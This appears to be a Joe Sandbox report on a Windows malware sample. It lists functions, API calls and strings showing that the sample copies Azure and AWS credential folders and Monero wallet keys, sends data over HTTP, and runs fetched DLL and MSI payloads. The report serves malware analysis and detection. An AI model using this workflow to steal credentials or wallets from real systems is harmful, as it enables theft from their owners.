Part of subcall function 0041A440: StrCmpCA.SHLWAPI(00000000,00421414,0040CFE2,00421414,00000000), ref: 0041A45F

DeleteFileA.KERNEL32(00000000), ref: 0040D1F4

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: 7681f62c76a153f68e55b198b31b4bdcb046fd2ab64b5a65ba49cfbffb3ed154
Instruction ID: ed6c437cbd46477d92e2fdf931dfcacd4144c719bc88927133304dc8b30d11c2
Opcode Fuzzy Hash: 7681f62c76a153f68e55b198b31b4bdcb046fd2ab64b5a65ba49cfbffb3ed154
Instruction Fuzzy Hash: 25E1A271901108ABCB14EBA0DC9AEEE7339AF54314F50415EF507B30A1DF786E99CB6A

Function 00414850 Relevance: 30.1, APIs: 10, Strings: 10, Instructions: 119
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00414867

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414890
lstrcat.KERNEL32(?,\.azure\), ref: 004148AD

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

memset.MSVCRT ref: 004148F3
lstrcat.KERNEL32(?,00000000), ref: 0041491C
lstrcat.KERNEL32(?,\.aws\), ref: 00414939

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

memset.MSVCRT ref: 0041497F
lstrcat.KERNEL32(?,00000000), ref: 004149A8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 004149C5

Part of subcall function 004143F0: wsprintfA.USER32 ref: 00414490
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,004208BA), ref: 004144A5
Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144C2
Part of subcall function 004143F0: PathMatchSpecA.SHLWAPI(?,?), ref: 004144FE
Part of subcall function 004143F0: lstrcat.KERNEL32(?,02606CF0), ref: 0041452A
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FC8), ref: 0041453C
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414550
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FCC), ref: 00414562
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414576
Part of subcall function 004143F0: CopyFileA.KERNEL32(?,?,00000001), ref: 0041458C
Part of subcall function 004143F0: DeleteFileA.KERNEL32(?), ref: 00414611

memset.MSVCRT ref: 00414A0B

Strings

\.azure\, xrefs: 004148A1
Azure\.aws, xrefs: 0041493F
Z\A, xrefs: 004148D1, 0041495D, 004149E9, 00414A14, 004148D4, 00414960, 004149EC
*.*, xrefs: 004148B8
\.IdentityService\, xrefs: 004149B9
Azure\.azure, xrefs: 004148B3
Azure\.IdentityService, xrefs: 004149CB
msal.cache, xrefs: 004149D0
\.aws\, xrefs: 0041492D
*.*, xrefs: 00414944

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: lstrcat$Filememset$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$Z\A$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 4017274736-156850865
Opcode ID: 1e14282d3068892ecfd8ef1a9898795cb333a13778d9e0958f534f87ee8c2e99
Instruction ID: 646ecaa1659512b06866923d8f1ff883aab6ee332b32f164b7e7d78f354b44b8
Opcode Fuzzy Hash: 1e14282d3068892ecfd8ef1a9898795cb333a13778d9e0958f534f87ee8c2e99
Instruction Fuzzy Hash: C741FC75A4021867CB20F760EC4BFDD773C5B54704F404459B64AA60D2EEFC57C98BAA

Function 004048D0 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404965
StrCmpCA.SHLWAPI(?,0260ADA0), ref: 0040498A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404B0A
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00420DC3,00000000,?,?,00000000,?,",00000000,?,0260AE60), ref: 00404E38
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404E54
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E68
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E99
InternetCloseHandle.WININET(00000000), ref: 00404EFD
InternetCloseHandle.WININET(00000000), ref: 00404F15
HttpOpenRequestA.WININET(00000000,0260AE20,?,0260A340,00000000,00000000,00400100,00000000), ref: 00404B65

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

InternetCloseHandle.WININET(00000000), ref: 00404F1F

Strings

", xrefs: 00404D83
------, xrefs: 00404A0D
------, xrefs: 00404CB9
", xrefs: 00404C42
------, xrefs: 00404B78

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$??2@ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 594634378-2180234286
Opcode ID: e8e3ac639a180a2193462cdd616153861071622b371d0a8d328dc4e5da759854
Instruction ID: 96828d9d4da3c69e3e13a7d192eb2c0d5cb14303612463eff3b0a86b38ab5adb
Opcode Fuzzy Hash: e8e3ac639a180a2193462cdd616153861071622b371d0a8d328dc4e5da759854
Instruction Fuzzy Hash: 7B124E71912118AACB14EB91DC96FEEB339AF14314F50419EF50662091EF782F98CF6A

Function 00417DC0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

RegOpenKeyExA.KERNEL32(00000000,025E9DE8,00000000,00020019,00000000,004205A6), ref: 00417E44
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
wsprintfA.USER32 ref: 00417EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B
RegCloseKey.ADVAPI32(00000000), ref: 00417F2C
RegCloseKey.ADVAPI32(00000000), ref: 00417F39

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

?, xrefs: 00417E1A
%s\%s, xrefs: 00417EED
- , xrefs: 00418043

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 387138a2acaf9047d5f238e00edebe8a78cba1fcf6441e48f5509685d7ffdd98
Instruction ID: 7e933c005afce5063b6ac28d37290dd0de40035e7daa9b78ce1efab2f7c43410
Opcode Fuzzy Hash: 387138a2acaf9047d5f238e00edebe8a78cba1fcf6441e48f5509685d7ffdd98
Instruction Fuzzy Hash: 3581197191111CABDB28DB54CC85FEAB7B9BF08314F0082D9E10AA6190DF756BC9CFA5

Function 004062D0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00420DE6,00000001,00000000,00000000,00000000), ref: 00406331
StrCmpCA.SHLWAPI(?,0260ADA0), ref: 00406353
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
HttpOpenRequestA.WININET(00000000,GET,?,0260A340,00000000,00000000,00400100,00000000), ref: 004063D5
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 0040644D
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004064BD
InternetCloseHandle.WININET(00000000), ref: 0040653F
InternetCloseHandle.WININET(00000000), ref: 00406549
InternetCloseHandle.WININET(00000000), ref: 00406553

Strings

ERROR, xrefs: 00406519
GET, xrefs: 004063CC
ERROR, xrefs: 00406457

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$??2@ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3871519372-2509457195
Opcode ID: f3b98097e5e0f384b1902342b99ad1993feda62f21dbc400c84d5a874d7a36bf
Instruction ID: cbac5eee591d607aa173065357eefb87c001816e051c1cde1c99a9b9dc38779b
Opcode Fuzzy Hash: f3b98097e5e0f384b1902342b99ad1993feda62f21dbc400c84d5a874d7a36bf
Instruction Fuzzy Hash: AA719F71A00218EBDB24DFA0DC49FEEB775AF44704F1080AAF50A6B1D0DBB86A85CF55

Function 00414FF0 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,025E4B48,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415124
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415181
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415337

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00414CD0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00414D08

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00414DA0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00414DF8
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E0F
Part of subcall function 00414DA0: StrStrA.SHLWAPI(00000000,00000000), ref: 00414E44
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E63
Part of subcall function 00414DA0: strtok.MSVCRT ref: 00414E7E
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E8E

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041526B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415420
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004154EC
Sleep.KERNEL32(0000EA60), ref: 004154FB

Strings

ERROR, xrefs: 0041525D
ERROR, xrefs: 00415412
ERROR, xrefs: 00415329
ERROR, xrefs: 00415116
ERROR, xrefs: 00415173
ERROR, xrefs: 004154DE

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3630751533-2791005934
Opcode ID: 53c0d387d700226d11633ba140bdf5a28658bb722894504da175286b8ed3d870
Instruction ID: 47717806d02ab2b23084bb80b202f8eeb65c1f88a6bcad5d58c416e3f74fe27f
Opcode Fuzzy Hash: 53c0d387d700226d11633ba140bdf5a28658bb722894504da175286b8ed3d870
Instruction Fuzzy Hash: 1FE1A671901104AACB14FBB1EC57EED7339AF94314F40852EB40666192EF3C6B9DCB9A

Function 00412940 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

ShellExecuteEx.SHELL32(0000003C), ref: 00412CD5
ShellExecuteEx.SHELL32(0000003C), ref: 00412E6D
ShellExecuteEx.SHELL32(0000003C), ref: 00412FFA

Strings

"" , xrefs: 00412BAA
/passive, xrefs: 00412F6B
.dll, xrefs: 00412CF5
.msi, xrefs: 00412EA8
C:\Windows\system32\rundll32.exe, xrefs: 00412E42
C:\Windows\system32\msiexec.exe, xrefs: 00412FCF
/i ", xrefs: 00412EF4
<, xrefs: 00412FA0

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 1269a2963d8ca731cd15ea21f395861ee9b80a8739dce938bb9cd153d85dca40
Instruction ID: f1658c825a9884a12c356146fd8d4c6d848a61a952cd10e5c69c9f5a52c1d3c9
Opcode Fuzzy Hash: 1269a2963d8ca731cd15ea21f395861ee9b80a8739dce938bb9cd153d85dca40
Instruction Fuzzy Hash: FA121F71811108AACB14FBA1DC96FDEB778AF14314F40415EF40666192EF782BD9CFAA

Function 00401310 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
Part of subcall function 004012A0: HeapAlloc.KERNEL32(00000000), ref: 004012BB
Part of subcall function 004012A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
Part of subcall function 004012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
Part of subcall function 004012A0: RegCloseKey.ADVAPI32(?), ref: 004012FF

lstrcat.KERNEL32(?,00000000), ref: 0040134F
lstrlenA.KERNEL32(?), ref: 0040135C
lstrcat.KERNEL32(?,.keys), ref: 00401377

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,025E8598,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00401465

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

DeleteFileA.KERNEL32(00000000), ref: 004014EF
memset.MSVCRT ref: 00401516

Strings

.keys, xrefs: 0040136B
\Monero\wallet.keys, xrefs: 0040138D
wallet_path, xrefs: 00401330
SOFTWARE\monero-project\monero-core, xrefs: 00401335

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseHeapLocallstrlenmemset$ChangeCopyCreateDeleteFindFreeNotificationOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3420786452-218353709
